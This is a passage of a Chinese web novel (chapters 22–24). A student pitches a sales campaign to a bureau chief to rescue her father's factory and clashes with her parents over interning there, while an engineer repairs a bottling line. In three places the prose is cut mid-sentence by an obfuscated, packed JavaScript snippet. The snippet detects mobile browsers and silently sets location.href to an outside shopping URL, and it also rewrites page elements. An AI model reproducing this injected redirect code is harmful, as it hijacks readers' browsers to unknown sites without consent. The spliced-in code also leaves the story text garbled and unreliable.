“另外，领导们觉得风险高，这个风险具体指什么？是担心投入太多资金，结果活动冷场，厂里赔钱赚吆喝？还是担心在活动现场，有人闹事，上了新闻，成了笑话？亦或者，现场可能会发生一些意外，比如顾客高温中暑、丢东西，甚至出现踩踏事故，领导们怕担责？” 说到最后，魏局长眼神明显锐利几分，许晚柠坦然直视对方，“局长，我刚刚说的这些，其实都可以想办法避免。担心活动达不到预期？没关系，我们只要在活动前期做足宣传，活动现场有销售员引导顾客购买电扇，再加上抽奖活动主持人带动情绪，跟风买的人肯定不少。” “其实，不光局里领导怕闹事，厂里也怕，所以我们会请电视台的人过来进行现场采访。以电视台在市民心中的公信力，我相信没人敢闹事。” “当然，为了以防万一，我们会请附近派出所的同志帮忙，有闹事的人，及时进行调解，争取让顾客满意。” “此外，马上就到初伏，这几天肉眼可见热了不少，我们在活动现场会准备好足够的水和饮品。部分顾客可能年龄偏大或者体质较弱，容易发生意外，为了避免事故发生，我们会请医护人员全天待命，以防万一。” 许晚柠说得口干舌燥，最后还不忘来一句总结，“暂时想到这些，局长，我说完了。” 魏局长脸上看不出任何异样，他屈指敲了敲桌子，目光如炬，“你觉得谁来当这个活动负责人合适？” 许晚柠一听，眼睛倏地亮了，随即当仁不让，“我！” 许是担心不够沉稳，她沉声又补了一句。 “局长，此事非我莫属！” 22. 父女谈话 “你倒是挺自信！” 魏局长眼中闪过一丝欣赏。 他端起搪瓷缸浅啜一口，放下时才抬眼扫了她一下，不紧不慢地开口，“你在厂里没有任何职务，怎么服众？” 许晚柠自信满满，“只要活动获批，您任命我为活动负责人，哪怕只是临时的，厂里的领导也不敢明着跟我对着干。” 魏局长点点她，“我还没任命呢，你倒是会顺杆爬。” 许晚柠讨好一笑。 随后他又问，“我要是不许你借着我的名头扯大旗，你打算怎么管住底下做事的人？” 许晚柠想了想，认真回答，“局长，我做这个活动是为了厂里，拿到货款第一时间就会给大家发工资，谁会跟钱过不去呢？” “再者说，虽然我很不想借我爸的名头，但我站在这个位置上，本身也代表了我爸，有我爸在，就算有人想磨洋工也得掂量掂量吧？” “而且我爸特别疼我，他不会眼睁睁看着别人背地里使绊子，欺负我的。” 魏局长哼笑一声，“伶牙俐齿，这才是你本性吧？” 许晚柠立马正襟危坐，眨眨眼，“局长，现在这个乖巧懂事的才是我，刚才明明是您的晚辈在给您出谋划策呀。” 魏局长被她一句话逗得嘴都合不拢，“我算是知道老许刚才走的时候，为什么这么不放心了。” 他感慨一句，想了想，“活动交给你也不是不行，只不过不能完全按你的设想来。” 许晚柠微微倾身，作洗耳恭听状。 魏局长正色道，“你想市区和周边强县一起做活动，一次搞十几个试点，摊子铺的太大。人的精力有限，总有顾及不到的时候。” “这样，你先在市区搞一两个试点看看，如果活动成功了，再辐射到周边县。” 许晚柠一听，立马附和，“局长，还是您考虑的周到，只有我一个总负责人，确实分身乏术，难以顾及十几个点，要是因为一时不察出了事，我担不起这个责。” “要是按照您的意见，先做两个试点，比如一南一北，这样活动搞起来既能方便市民就近参加活动，也能覆盖本市，活动效果肯定也不会太差。” 她竖起大拇指，忍不住夸赞，“您这一招高啊！” 这马屁拍的，魏局长险些没绷住，“你好好说话。” 许晚柠立马收住，一本正经的继续说，“活动当天，我会邀请周边县城的经销商过来，他们看到活动现场这么火爆，我不信他们不动心，这样也能省了我们一家一家上门去请，毕竟啥也比不上亲眼所见效果好。” 说到这，她语气真挚，开口邀请，“局长，活动如果定下时间，您要是有空，可一定要来现场看看，感受一下咱们市民们的热情。” 迎着许晚柠诚恳的目光，魏局长拒绝的话实在说不出来，矜持的说了一句，“嗯，到时候再看。” 办公室门口。 许国盛坐立不安，门虽然半开着，里面的人说话，他是一句也听不清。 说啥呢，怎么这么久了，还没说完？ 他心中暗暗祈祷，柠柠可别瞎说啊，魏局长可是他的顶头上司，如果得罪了，他这个代厂长可就做到头了。 胡思乱想间，办公室门开了。 魏局长和许晚柠一前一后走出来，边走边说，“嗯，就按照我们刚才说的来，辛苦小许同志改一下。” 许晚柠谦虚，“只要能帮到厂里，这点辛苦不算什么。” 本来她想拍局长几句马屁，转念一想，这位魏局长能顶着局里这么大压力，力挺他们厂搞活动，一看就是位务实派领导，应该不喜欢年轻人油嘴滑舌，话到嘴边又咽了回去。 魏局长面露赞许，“嗯，觉悟不错，不愧是预备党员。” 许晚柠露出淡淡的笑容，随即提道，“局长，要不我就在局里改吧？这样写出来能第一时间交给您，如果有哪里写得不到位，我还能及时修改。” 魏局长点头应允，“小罗，给小许同志安排一间空办公室。” 说完又补了一句，“小许是女同志，你照顾着点。” 罗秘书立马应声，“好的，局长，” 随即他看向许晚柠，“许同志，请跟我来。” “好的，麻烦罗秘书了。” 在旁边充当了半天背景板的许国盛，刚想跟着一起去，顺便问问闺女跟局长说了点啥。 他刚走了两步，便被局长叫住。 “老许，你跑什么，跟我进来。” 许国盛连忙转身，“好的，局长。” 空办公室好找，罗秘书直接在离局长办公室最近的地方找了一间。 “条件简陋，还请许同志多担待。” 许晚柠打量一眼，“已经很好了，谢谢罗秘书。” 罗秘书公事公办，“有什么其他需要，可以直接跟我提。” 许晚柠摇头，“纸笔我都带了，我现在就写。” 罗秘书颔首，“有事你再叫我。” “好。” 许晚柠坐下，拿出纸笔，先打草稿，整理思路，确认无误之后开始奋笔疾书，连罗秘书给她搬了一台电扇进来都没注意。 一个小时后，她终于写完，仔细检查一遍有没有错别字，确认不需要再誊抄，她收起纸笔，拿着刚写好的修改版营销计划书准备出去交差。 走之前，她注意到不远处正在工作的电扇，心中对罗秘书的细心照顾多了几分感激。 她随手关上电扇，走出办公室。 许国盛正坐在局长办公室门口等她，见女儿过来，赶紧站了起来，可算写完了。 许晚柠先朝父亲点点头，随后跟罗秘书说，“罗秘书，局长在里面吗？我交下计划书。” 罗秘书笑着说，“局长之前交代过，你写完可以直接进去。” “好，谢谢罗秘书。”许晚柠郑重道谢。 她站在门口，轻轻敲了敲门，听到那声请进，这才进去。 此时，魏局长正在看文件，过了一会儿才抬起头来，看向站在桌子对面的许晚柠。 “改好了？” “是。”许晚柠双手递过去。 魏局长简单翻看一下，“先放这，这两天局里会给出最终意见，回去等消息吧。” “好的，局长。” 许晚柠点头，“那我不打扰您工作了，您忙。” 她刚要转身离开，忽然被人叫住。 魏局长轻啜了一口茶水，语气平静地像是随口一提，“听说你马上大四，实习单位找好了吗？” - 回去路上，许国盛骑自行车载着女儿。 “你跟局长都说了些什么，怎么聊了那么久。” 许晚柠随口道，“讨论了一下活动细节。” 一个活动细节讨论半个多小时？ 许国盛心里打鼓，“你没说什么不该说的吧？” 许晚柠无奈，“没有，爸，您这句话起码问了三遍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470288|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “有吗？”他怎么没觉得。 许国盛想到什么，批评道，“我还没说你呢，你怎么那么大胆，居然敢跟局长提要求，在局里修改计划书。” 许晚柠说得那叫个理直气壮，“我计划书本来写得挺好的，是局里觉得风险高，想让我改进，我按他们要求改，还不能借个地方啊？” “我看你是懒得来回跑。” 许晚柠轻哼一声，算是默认了。 过了一会儿，他又问，“你刚才进去送计划书，怎么那么久才出来，局长说什么了？” “没什么，就说这两天局里会给最终意见。”说完之后，她想起什么，又补了一句。 “对了，我走的时候，局长问我找好实习单位没有。” 最后一句话搞得许国盛心神大乱，自行车骑得歪七扭八，许晚柠差点摔下来。 “爸？”许晚柠紧紧把着自行车后座扶手，犹豫是不是先跳下去，她怕摔啊。 许国盛艰难地掌控好车把，重新骑成一条直线。 “没事，刚才有个坑，爸没看见，差点掉进去。”他眼都不眨的撒了个小谎。 “哦。”许晚柠心中表示怀疑。 许国盛若无其事地问道，“局长问你找没找好实习单位，你怎么回的？” “我说我听系里安排啊。” 刺耳的刹车声响起，许国盛回过头，瞪大眼睛看向女儿，“你居然拒绝了？” 许晚柠讨好一笑，“也不算吧，我留余地了。” 许国盛简直不知道说什么好，像魏局长那样的人精，怎么会听不出女儿在委婉拒绝？ 许晚柠见父亲一脸怀疑人生的模样，连忙说，“好了爸，您当轻工局那么好进的，像我这样的，进去顶多当个办事员，毕业能不能留在局里还另说。再说，局里哪有在自己厂里自在啊？” “你想在华荣厂实习？” 许晚柠点头，“对啊，以目前厂里的情况，清完库存只能解一时之困，想要盘活整个厂，任重而道远啊。” “啊，爸，你又打我头。” 许国盛这次没哄她，“你知道厂里现在什么情况，你还想一头扎进来？你前途不要了？” 现在跟以前不一样了，毕业不包分配，实行双向选择，在他看来，如果不能留在省城，市轻工局也是个不错的选择。 而如今华荣厂泥足深陷，能不能救回来还未可知，他怎么能让女儿在这实习。 “我不同意！” 说完，许国盛推着自行车往前走。 许晚柠愣了片刻，连忙追上，“爸，您听我说。” “我不听，你别跟我说那些歪理。” “怎么能是歪理呢？”许晚柠认真辩解，“爸，我是学市场营销的，目前厂里需要像我一样的人才。而且，华荣厂对于我来说是一个很好的实习单位。我有很多想法都可以亲自实践，这不比坐在办公室，天天写材料强？” 许国盛突然停住，转头看向女儿，“如果华荣厂倒了呢，你毕业之后没有单位接收怎么办？” 许晚柠刚想说，那她正好创业啊，可迎着父亲的目光，她说不出口。 父亲在国企干了一辈子，在他眼中，什么创业？不就是干个体，能有什么前途。 真是一代有一代人的鄙视链。 许晚柠正在低头思索，该怎么说服父亲，忽然被人温柔的摸了摸头顶。 “先回家吧。” “好。” 23. 我拦得住吗？ “一会儿我送你到家属院门口，你先回家，我去趟厂里。” 许国盛一边骑自行车，一边沉声交代。 “好。” 许晚柠刚应下，突然想起什么，“不行爸，我得跟你一起回趟厂里，差点忘了，我还有通电话没打。” “你给谁打电话？” “钱四海啊，我不是告诉您我昨天去徐县了，我得给他回个电话。” 说完，她想起什么，“爸，这算是公事吧，您可不许收我电话费。” 许国盛没理她，闷头骑得更快了。 许晚柠心里咯噔一下，完了，许厂长不会真生气了吧。 这可怎么办啊？ 一直到厂里，她都没想好怎么哄。 许晚柠一路跟着父亲来到办公室，路上没碰上几个人，她看了眼手表，都快六点半了，厂里大部分人下班了，怪不得这般清静。 许国盛带着女儿来到办公室，抬手一指，“去打吧。” 他端着搪瓷缸去倒热水，一路骑回来，嗓子都快冒烟了。 许晚柠拿出笔记本，照着电话号码熟练拨号。 电话响了两声，那边有人接听。 “您好，是钱叔吗？我是许晚柠。不好意思，钱叔，我这边临时有点事，这会儿才给您打电话，没耽误您工作吧？” “我想问问您考虑得怎么样了？嗯，好，没关系，哎呀，真没事，好好好，钱叔再见。” 许晚柠挂断电话，抬头看见父亲一边喝水一边在偷看她打电话，心里有些好笑。 见女儿看过来，许国盛连忙收回视线，轻咳一声，问道，“怎么，钱四海没同意。” 许晚柠点头，并不气馁，“意料之中。” 见父亲面露疑惑，她解释，“我昨天没有拿出全部的诚意，他心有顾虑很正常，我总不能因为被拒绝而心生怨怼吧？想要成为一名合格的销售，被拒绝才是常态。” 许国盛神情复杂，心里把这句“被拒绝才是常态”反复琢磨了好几遍。心中感慨万分，他活了五十多岁，还不如一个二十岁的孩子通透。 他原以为女儿一路顺风顺水长这么大，经历一点挫折，都可能会让她一蹶不振，却没想到，女儿比他想象的要坚强得多。 女儿想到华荣厂实习，他第一反应是不行，这跟她暑假帮帮忙不一样，如今不包分配，实习单位大概率是她以后的工作单位，眼下华荣厂这个情况，随时都有可能倒闭，他总不能眼睁睁的看她跳进这个火坑。 可女儿一直积极地帮他想办法救厂，哪怕被人拒绝也能泰然处之。 这一瞬间他犹豫了，难道这次是他错了？ 这个问题，一直到他和女儿一起回到家，他都没想明白。 - “哎？你们父女俩今天怎么一起回来了？” 听到动静，赵秋红拿着锅铲从厨房探出头，面露诧异之色。 许国盛心里有事，没听清，还是许晚柠回了句，“我去厂里找我爸玩了。” 不想被对方追着问，她索性转移话题，“哎，妈，你做的什么，怎么这么香？” 赵秋红听到这声妈，眼睛不争气的刷地红了，她扭头就走，瓮声瓮气的回，“你鼻子咋这么灵。” 许晚柠嘿嘿一笑，没追着去厨房，回屋换衣服。 半个多小时后，晚饭好了。 赵秋红觉得父女俩今天有些奇怪，许国盛闷头吃饭，一声不吭，像是有心事，女儿看上去倒是乐呵呵的，还夸她红烧肉做得好吃。 一天时间，两人的状态像是颠倒了，也是奇了。 她忍到饭后，女儿主动去刷锅洗碗，她拉着丈夫去了卧室，“老许，你今天咋了，是厂里出什么事了？” 丈夫在家里一向不提厂里的事，但家属院没有秘密，哪怕她不是华荣厂的，但谁让她周围大部分都是华荣厂的人呢，知道点消息太正常了。 “是不是因为发工资的事？” 许国盛拧眉，“不是，你别瞎猜。” 赵秋红生气了，“那到底什么事，你回来就一直拉着张脸，我问问还不行？” 许国盛抹了把脸，“这就要问问你的好闺女了。” 赵秋红纳闷，“这跟柠柠有什么关系？” 许国盛本来不想说，可转念一想，柠柠又不是他一个人的女儿，以他对妻子的了解，没准知道之后反应会更激烈，家里大人都不同意，柠柠怎么也得再考虑考虑。 他倒不是非要拦着她不进厂，他只是怕她将来后悔。 他叹了口气，“今天柠柠跟我去了趟轻工局，魏局长想让柠柠去局里实习，柠柠给拒绝了，还跟我说想到厂里实习。” “如今厂里什么情况，我能不清楚吗？连工资都发不出来了，她来厂里实习，前途不要了？真是气死我了。” 许国盛等了半天没等到妻子附和，好奇问她，“你不生气吗？” 赵秋红从沉思中回神，好笑道，“我为什么要生气？我只是在想，魏局长为什么会主动邀请柠柠去局里实习，这里面是不是发生了什么我不知道的事。许厂长，你不打算交代一下吗？” 迎着妻子似笑非笑的目光，许国盛想着这两天局里就会给出最终意见，大概率会通过，这样她早晚也会知道，也就不再瞒她，将这几天女儿做的事和盘托出。 赵秋红听完之后，第一反应，这是她女儿？在她眼皮子底下干了件大事，她居然毫不知情，不得不说这父女俩保密工作做的真好。 许国盛见妻子愣住了，忍不住开口问，“你说我是不是该拦着她？” 没想到赵秋红一反常态，“你为什么要拦着她，她不是做得挺好的？” 嗯？许国盛一脸不可置信地看向她，“你居然能同意？” 赵秋红摇头，“这不是我同不同意的问题，是柠柠，你的好女儿，一门心思的想要帮你，我拦得住吗？” “还有你，你要是能拦住，也不会一直犹豫了。怎么，你搞不定你的宝贝女儿，还想联合我一起，劝她改变主意？” 许国盛怔住了，他其实知道柠柠是因为他所以才想去华荣厂实习。就是因为如此他才不敢同意，他怕因为自己，毁了女儿的未来。 她继续说，“她为什么花心思去做计划书，是因为看到你被工人们堵门，她又为什么想进华荣厂实习，也是因为想帮你。” 说到这，赵秋红莫名有点酸，“柠柠这么聪明，怎么会不知道华荣厂濒临破产，又怎么会考虑不到后果，只不过因为你是厂长，她才想方设法挽救，她不进厂，怎么帮你？难道次次都让魏局长临时给她安排职务？你想也不可能啊。” “怎么，女儿孝顺懂事，你还不乐意啊？” 许国盛愁眉不展，“就是因为柠柠懂事，所以我才要拦着她。” 赵秋红看丈夫一脸纠结的面色，说了一句扎心之语，“但很显然，你拦不住。” “你到底是来安慰我的，还是往我伤口上撒盐的？”许国盛瞪她。 赵秋红哼了一声，“本来是想安慰你的，现在又不想了。” 嗯？许国盛一脸疑惑。 赵秋红却不愿意解释，难道要她说，知道女儿这么奋不顾身的想帮丈夫，她既欣慰又吃味么？ 而她居然分不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473853|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，到底是欣慰多，还是吃味多一些。 算了，管他干什么，她反正是不掺和了。 想通之后，她转移话题，眉眼带笑“刚才柠柠夸我做的红烧肉好吃，一下子吃了小半盘，看来我手艺没退步。这几天女儿在外奔波都累瘦了，明天我打算给她做炖点排骨，好好给她补补。” 许国盛目瞪口呆地看着妻子笑着走出卧室。 完了，这次妻子都不跟他站一边了。 - “梁工，前面就是灌装车间。” 裴云洲指着不远处红砖砌成的平房，边走边介绍。 梁工点点头，“小裴，你先说说生产线的具体情况。” 裴云洲正色道，“这条出故障的生产线是三年前从岛国引进的半自动灌装线，包含洗瓶、灌装、压盖、杀菌全套设备，核心电控与液压部件都是岛国原装。” “之前厂里请过省城的机械专家过来，他们之前没接触过这类精密机型，怕拆坏了没敢动手。当然，厂里也联系过岛国原厂，对方工程师排期太久，要是等那边工程师过来，最少也得三个月。” “前些天，我外公打听到几年前哈市啤酒厂进口过同型号的生产线，当时岛国工程师过来负责安装，您几乎跟了全程。后来这条生产线的维修和养护由您一手负责，所以特意托人请您过来，一会儿麻烦您多费心。” 梁工颔首，“我先看看再说。” 一路走过来，梁工见路过的职工面带笑容，积极地跟裴云洲和谭斌打招呼。 他有些好奇，“这些都是原来啤酒厂的职工？” 谭斌接过话，“对啊，我们买啤酒厂的时候，局里明确要求不允许我们随意开除职工，除了那些自谋出路的领导，大部分人都留了下来。” 梁工一听，更好奇了，“这啤酒厂不是你们刚买下来么，工人们没闹？” 如今大环境不好，哈市也有不少国营小厂倒闭的，听说好多工人带头去市政府静坐，乱成一团。 虽然他所在的啤酒厂目前经营良好，但是居安思危，他不得不多做考虑。所以这次接到邀请，除了还以前的人情，他也想看看外面的世界，到底怎么样了。 明明以前还好好的，怎么现在成了这样？ 谭斌看了裴云洲一眼，得到允许的眼神，立刻显摆，“梁叔，这您就不知道了吧？我们接手啤酒厂第一时间，就下发了三条通知。” “谭哥，啥通知啊，这么管用？”田亮一脸憨厚地问道。 谭斌目光得意，“第一，涨薪，一线生产工人、技术员，工资直接上调百分之二十。后勤、行政和办公室人员，涨薪百分之五。” “原先的厂领导，有的已经自谋出路调去别的单位，留下的暂时保留原有职务，工资涨百分之十。” “销售科提成直接翻三倍。以前卖一箱啤酒、一箱果汁，提成很少，往后卖得多拿得多，上不封顶。” “第二，调岗，对于之前一直混日子、磨洋工的职工，先调去其他岗，进入考察期，考察期三个月，通过的留下，不通过直接辞退。” “第三，我们承诺，一年之内实行职工福利分房。建房费用厂里承担一半，员工个人承担一半，房子建好后产权直接归员工个人所有。” “现在大伙都铆足干劲挣钱，好分房呢，就算有人想闹事，不用我们费心，有的是员工帮我们按下去。” 梁工感叹，这要换作是他，也得拼命干啊。他算是明白，为什么私人企业能越做越红火了。 碰上这样的老板，想偷懒都不好意思。 长江后浪推前浪，现在的年轻人，了不得喽！ 24. 哎，我爸呢？ “梁工，要开机吗？” 一位三十多岁，穿着工服的维修师傅朗声问道。 “不急，我先看看。” 梁工带着徒弟田亮围着生产线慢悠悠地走了一圈，其中几次停下，眯着眼睛看里面的精密构造，等看得差不多了，他朝维修师傅说，“开机，低速空转。” 机器缓缓启动，轰鸣声在车间里传开。 裴云洲和谭斌两人对视一眼，都听不出什么异样，专心当背景板。 而梁工已经带着徒弟贴近机身，侧耳倾听机器运转的响动。 良久，他直起身，示意维修师傅关掉机器，问一旁的小徒弟，“亮子，看出什么问题没有？” 田亮神情骤然一紧，指着灌装机组中段，“师父，好像是这出了问题，具体什么问题，得拆了才知道。” “嗯，”梁工脸上看不出什么情绪，只问了一句，“还有吗？” 田亮苦着一张脸，“应该没了吧？” 梁工瞥了自家徒弟一眼，有外人在，他给徒弟留了几分面子，“你先拆吧，拆出来再看。” “好的，师父。” 田亮拿着工具直接下手拆，过了一会儿，他抬头看向一旁站着的维修师傅，笑着露出几颗大白牙，“师傅，您能帮我个忙吗？” 维修师傅连忙帮着打起了下手，这可是难得的学习机会，看来今天他主动留下，留对了！ 两个人一起拆，速度更快了。 梁工见状，眼里满是笑意。 一旁的裴云洲都忍不住夸赞，“梁工，您这徒弟不错。” 梁工感叹，“我这小徒弟哪哪都好，就是不够自信。” 裴云洲轻声宽慰，“再跟您几年，经历多了，自然就好了。” 梁工颔首，“借你吉言。” 谭斌凑过来问，“梁叔，您是不是知道哪出问题了？” “嗯？”梁工目光诧异，这小子有点敏锐啊。 谭斌嘿嘿一笑，“我猜的，梁叔，到底是哪的问题啊？” 闻言，梁工也没卖关子，轻声说，“亮子说的没错，就是中段出了问题，里面的阀芯卡滞，再加上同步信号偏了，所以才会出现灌装量时多时少，漏液、停机等问题，等拆完我再看看具体情况。” 车间空间大，一台电扇压根不顶用。 谭斌忍不住抬手扇风，“梁叔，这得拆多久啊？” 梁工想了想，“按他们两个的速度，差不多两个小时吧。” 说完，他看了谭斌一眼，“你们要是有别的事，可以先去忙，我在这盯着就行。” 虽然自家厂里的生产线，他徒弟也动手拆过几次，但这不是过来帮忙来了，为了以防万一，他得在这全程盯着，遇到解决不了的问题，他能直接顶上。 谭斌连忙摆手，“我们没事，正好跟着学习学习。” 梁工意外地看了对方一眼，“现在的年轻人，愿意吃苦的不多了。” 车间里十分闷热，他待惯了，纵使不适应这边的气候，尚且还能忍受。 可这小子一看就是娇生惯养出来的，这么一会儿的功夫都热出汗了，还能坚持，倒是有几分韧性。 谭斌热得不行，索性搬了个落地扇过来，风扇呼呼地转动，这才好受了些。 裴云洲见梁工不时的挪动腿，出去搬了个凳子进来。 梁工推辞不过，只好坐下。 很快天黑了，车间里亮起橘红色的灯光。 好在田亮是熟练工，带着厂里的维修师傅用两个小时将机器全部拆完。 梁工走过去仔细看了眼，确认故障所在，又低声考了徒弟几个问题，这才跟裴云洲他们说，“车间太暗，不着急的话，明天一早我们过来修。” “可以。” 裴云洲抬手看了眼时间，都八点半了，“梁工，我们先送您回招待所吧。” 随后他跟维修师傅交代一句，“这间车间先锁上，在机器修好之前，不许其他工人进入。还有地上摆的这些，让明天上班的其他师傅不要乱动。” “知道了，裴总。”维修师傅应了一声， 走出车间，一阵微凉的夜风迎面而来。 等维修师傅锁好门，一行人趁着夜色，向外走去。 一天下来，几人多了几分熟络。 梁工想起之前裴云洲对维修师傅的嘱咐，含笑道，“小裴以前没少跟姚教授下车间吧。” 裴云洲眼中闪过一丝追忆，颔首，“寒暑假的时候，陪我外公去过几次。” “怪不得。” 梁工感叹一声，能想到不乱动地上的东西，不让无关人员进维修车间，怎么会没实践经验呢。 裴云洲顺势一问，“对了梁工，生产线要是修好，大概需要多久？” 梁工想了想，“按现在的人手算，维修、装机加调试，怎么也得半个月吧？” “这么久！” 一旁的谭斌脱口而出，随后连忙解释，“梁叔我不是那意思，我还以为几天就能修好呢。” 梁工并没有怪他，解释道，“你们厂这条生产线本来就是买的二手的，灌装阀内部的阀芯磨损严重，精度丢失所以才容易出故障。再加上同步编码器偏移，多年没有保养，气路堵塞，电磁阀老化等问题，要想精修好，最少也得半个月。” 在车间的时候，谭斌看梁工表情稳若泰山，还以为没啥大问题，原来问题这么严重啊。 裴云洲想了想，沉吟，“梁工，您的身体…” 梁工笑着拍了拍右腿，“一天工作八九个小时不碍事，再说力气活有我徒弟呢。” 田亮一听提到他，拍着胸脯说，“裴哥，你放心，有我呢。” 裴云洲想了想，直到走到招待所门口，他停住脚步，斟酌开口，“梁工，只您和您徒弟，再算上我们厂五个维修工，工作量也不轻，您看用不用我去其他厂，借几个维修师傅过来给您打下手。” 梁工语气谦和，“我倒是没啥问题，就是不知道人家愿不愿意听我的。我又不是姚教授，没那么大名气。我在这儿，不过是一个很普通的维修师傅。” 裴云洲松了口气，“您可别这么说，在我这，您说了算。这样，我跟其他厂联系一下，看他们能不能安排几个听话的过来学习交流。” 梁工一听，爽快应了，“行，能跟着学到几分，就看他们的本事了。” 回去路上，谭斌满脸疑惑，“云洲，刚才我就想问了，咱们厂现在可是私企，你去别的厂找领导借人，人家理你吗？” 闻言，裴云洲眼皮都没抬，“谁说我要去厂里找领导了，他们上级领导一句话，不就都解决了。” 上级领导？魏局长？ “哎，你走那么快干什么，等等我！” - 晚上九点，许晚柠早早洗漱，上了床。 她看着天花板，心里复盘下午跟魏局长之间的谈话。 她喃喃自语，“市场，成本，经销商，分摊风险。” 她脑海中又想起她跟钱四海的那通电话。 “晚柠，叔不是不想帮你卖货，可营销这玩意儿我听都没听过，实在不敢弄啊。” 许晚柠突然从床上坐起来，开始反思，她是不是太乐观了，如果连张嘉林的亲舅舅都不敢做活动，其他经销商呢，就算看到现场火爆又如何，现货现结，他们敢跟吗？ 况且，以厂里的财务情况，能省一点是一点，市里搞活动清库存，顺便宣传品牌，如果县里接着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17476855|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞，能不能达到她想要的效果？ 另外，她好像一直在用十几年后的营销思维做方案，却忽视了现在的市场行情。 也许她该换个思路。 她穿上拖鞋下床，来到书桌前，打开台灯，拿出纸笔，冷静的写下两个字，“造势。” 她可以先在门市部做活动造声势，请电视台的人来宣传，再跟在场的经销商谈合作。 现货现结有点为难人，那么赊销模式，跟经销商签订合同，他们可以先拿货，卖完之后付清上一笔货款，再拿下一批货，等库存全部清空，再要求经销商三天之内付清剩余货款。 既然想省钱，那县里就不搞活动，直接卖货，她瞬间想到一个好主意，在纸上郑重的写下四个字，“家电下乡”。 理清思路，确认没有遗漏，她开始奋笔疾书。 写完之后，她拿着手里的二次修改版计划书，准备去找父亲商谈，眼角余光注意到旁边的闹钟，十一点半，父亲早睡了吧。 也不差这一晚上，她收好计划书，定了一个早点的闹钟，上床休息。 第二天七点，许晚柠按掉闹钟走出卧室。 赵秋红正在厨房做饭，见女儿起床，问了一句，“柠柠，今天怎么起这么早？” 许晚柠还不知道她这几天干的“好事”早被父亲告诉母亲了，她伸了个懒腰，随口找了个借口，“闻到香味就醒了，妈，早上吃什么？” 赵秋红没怀疑，“小米粥，馒头，我再炒两鸡蛋，快好了，你洗手准备吃饭吧。” 许晚柠点头，“妈，我爸呢？” 赵秋红无奈，一大早就找她爸，闺女跟爸是真亲啊。 “他出去遛弯了，还没回来，你找他有事？” “没，随便问问。” 结果，直到许晚柠吃过早饭，她也没看见父亲。 赵秋红见女儿坐不住，“这个点还没回来，没准直接去厂里上班了，你要不去厂里找他？” 许晚柠看了眼时间，七点四十，厂里是八点上班，局里估计也差不多吧，如果魏局长今天上午开会，等她去厂里找了她爸再赶去局里，会不会太晚了。 不行，不找了，就交个方案，她自己去吧。 “妈，爸今天没骑车出去吧，我用下自行车。” 赵秋红从抽屉里翻出车钥匙递给她，“你用完，赶紧给他送厂里去，万一他有事呢。” “知道了，谢谢妈。” 许晚柠接过钥匙，去卧室背上挎包，快步下楼。 她刚走没多久，许国盛哼着歌回来了。 赵秋红刚收拾好厨房出来，一见是他，满脸诧异，“哎，老许，你没去厂里啊？” 许国盛笑着说，“没，我出去遛弯，碰上老刘了，他非拽着我去他家吃饭，这不才吃完，我就赶紧回来了。” 说完，他从抽屉里找车钥匙，准备去上班。 “哎，秋红，你看见我车钥匙了吗？”他找半天没找着。 赵秋红换好衣服出来，“哎呀，我刚忘了跟你说了，早上柠柠找你，你一直没回来。她估计有什么急事，本来我想让她去厂里找你，她都没去，只说要用下你自行车，晚点给你送厂里去。” “你没问她找我啥事？一大早，她骑自行车去干啥？” “我看她挺急的，就没问。” 许国盛心想，坏了，别是计划书有什么问题吧？可昨天不是按局里要求改了吗？ 他站在原地，想了半天也没想出个所以然。 赵秋红见状，提醒他，“你要不先去厂里吧，柠柠一会儿给你送自行车，你再问她不就行了。” 许国盛叹气，也只能这样了。 这臭丫头，一大早跑哪去了？